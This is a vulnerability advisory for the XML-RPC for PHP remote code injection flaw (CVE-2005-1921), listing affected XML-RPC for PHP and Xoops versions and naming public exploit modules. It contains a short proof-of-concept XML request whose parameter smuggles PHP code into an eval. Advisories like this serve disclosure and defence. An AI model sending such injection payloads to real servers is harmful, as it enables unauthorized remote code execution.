XML-RPC for PHP Remote Code Injection Vulnerability

BID:14088

Info

XML-RPC for PHP Remote Code Injection Vulnerability

Bugtraq ID: 14088
Class: Input Validation Error
CVE: CVE-2005-1921
CVE-2005-2116
Remote: Yes
Local: No
Published: Jun 29 2005 12:00AM
Updated: Mar 12 2007 10:34PM
Credit: Discovery is credited to James from GulfTech Security Research.
Vulnerable: Xoops Xoops 2.0.12
Xoops Xoops 2.0.11
Xoops Xoops 2.0.10
Xoops Xoops 2.0.9 .3
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Xoops Xoops 2.0.2
Xoops Xoops 2.0.1
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XML-RPC for PHP XML-RPC for PHP 1.1
XML-RPC for PHP XML-RPC for PHP 1.0.99 .2
XML-RPC for PHP XML-RPC for PHP 1.0.99
XML-RPC for PHP XML-RPC for PHP 1.0 2
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XML-RPC for PHP XML-RPC for PHP 1.0
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Discussion

XML-RPC for PHP Remote Code Injection Vulnerability

XML-RPC for PHP is affected by a remote code-injection vulnerability.

An attacker may exploit this issue to execute arbitrary commands or code in the context of the webserver. This may facilitate various attacks, including unauthorized remote access.

XML-RPC for PHP 1.1 and prior versions are affected by this issue. Other applications using this library are also affected.

Exploit / POC

XML-RPC for PHP Remote Code Injection Vulnerability

An exploit is not required.

The following proof-of-concept XML file is available:

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>

The proof-of-concept xml_rpc_poc.pl has been provided by dukenn.

The proof-of-concept xoops.pl for xoops has been provided by 1dt.w0lf.

comsatcat has provided a metasploit exploit for PHP XMLRPC, xmlrpc_exp.pl.

H D Moore <[email protected]> has provided a metasploit exploit for PHP XMLRPC, php_xmlrpc_eval.pm.

Solution / Fix

XML-RPC for PHP Remote Code Injection Vulnerability

Solution:
Please see the referenced advisories for more information.


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XML-RPC for PHP XML-RPC for PHP 1.0 1

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References

XML-RPC for PHP Remote Code Injection Vulnerability

References:

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